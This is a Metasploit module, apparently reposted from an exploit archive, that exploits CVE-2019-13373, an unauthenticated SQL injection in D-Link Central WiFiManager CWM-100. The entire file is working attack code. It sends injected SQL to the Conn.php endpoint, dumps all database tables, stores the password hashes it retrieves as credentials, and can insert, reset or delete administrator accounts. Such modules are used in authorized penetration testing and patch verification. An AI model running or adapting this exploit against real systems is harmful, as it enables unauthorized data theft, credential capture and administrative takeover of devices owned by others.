Share
## https://sploitus.com/exploit?id=PACKETSTORM:180736
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'csv'  
require 'digest'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'D-Link Central WiFiManager SQL injection',  
'Description' => %q{  
This module exploits a SQLi vulnerability found in  
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The  
vulnerability is an exposed API endpoint that allows the execution  
of SQL queries without authentication, using this vulnerability, it's  
possible to retrieve usernames and password hashes of registered users,  
device configuration, and other data, it's also possible to add users,  
or edit database information.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'M3@ZionLab from DBAppSecurity',  
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module  
],  
'References' => [  
['CVE', '2019-13373'],  
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']  
],  
'Actions' => [  
[ 'SQLI_DUMP', { 'Description' => 'Retrieve all the data from the database' } ],  
[ 'ADD_ADMIN', { 'Description' => 'Add an administrator user' } ],  
[ 'REMOVE_ADMIN', { 'Description' => 'Remove an administrator user' } ]  
],  
'DefaultOptions' => { 'SSL' => true },  
'DefaultAction' => 'SQLI_DUMP',  
'DisclosureDate' => '2019-07-06',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),  
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),  
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])  
]  
)  
end  
  
def vulnerable_request(payload)  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),  
'vars_post' => {  
'dbAction' => 'S',  
'dbSQL' => payload  
}  
)  
end  
  
def check  
check_error = nil  
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|  
res = vulnerable_request(payload)  
if res && res.code == 200  
res.body[%r{<column>(.+)</column>}m, 1] || ''  
else  
if res  
check_error = Exploit::CheckCode::Safe  
else  
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')  
end  
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error  
end  
end  
vulnerable_test = sqli.test_vulnerable  
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)  
end  
  
def dump_data(sqli)  
print_good "DBMS version: #{sqli.version}"  
table_names = sqli.enum_table_names  
print_status 'Enumerating tables'  
table_names.each do |table_name|  
cols = sqli.enum_table_columns(table_name)  
vprint_good "#{table_name}(#{cols.join(',')})"  
# retrieve the data from the table  
content = sqli.dump_table_fields(table_name, cols)  
# store hashes as credentials  
if table_name == 'usertable'  
user_ind = cols.index('username')  
pass_ind = cols.index('userpassword')  
content.each do |entry|  
create_credential(  
{  
module_fullname: fullname,  
workspace_id: myworkspace_id,  
username: entry[user_ind],  
private_data: entry[pass_ind],  
jtr_format: 'raw-md5',  
private_type: :nonreplayable_hash,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
)  
print_good "Saved credentials for #{entry[user_ind]}"  
end  
end  
path = store_loot(  
'dlink.http',  
'application/csv',  
rhost,  
cols.to_csv + content.map(&:to_csv).join,  
"#{table_name}.csv"  
)  
print_good "#{table_name} saved to #{path}"  
end  
end  
  
def check_admin_username  
if datastore['USERNAME'].nil?  
fail_with Failure::BadConfig, 'You must specify a username when adding a user'  
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }  
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'  
end  
end  
  
def add_user(sqli)  
check_admin_username  
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')  
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"  
# check if user exists, if yes, just change his password  
if sqli.run_sql(user_exists_sql).to_i == 0  
print_status 'User not found on the target, inserting'  
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \  
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")  
else  
print_status 'User already exists, updating the password'  
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \  
"username='#{datastore['USERNAME']}'")  
end  
end  
  
def remove_user(sqli)  
check_admin_username  
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")  
end  
  
def run  
unless check == Exploit::CheckCode::Vulnerable  
print_error 'Target does not seem to be vulnerable'  
return  
end  
print_good 'Target seems vulnerable'  
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|  
res = vulnerable_request(payload)  
if res && res.code == 200  
res.body[%r{<column>(.+)</column>}m, 1] || ''  
else  
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res  
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200  
end  
end  
case action.name  
when 'SQLI_DUMP'  
dump_data(sqli)  
when 'ADD_ADMIN'  
add_user(sqli)  
when 'REMOVE_ADMIN'  
remove_user(sqli)  
else  
fail_with(Failure::BadConfig, "#{action.name} not defined")  
end  
end  
end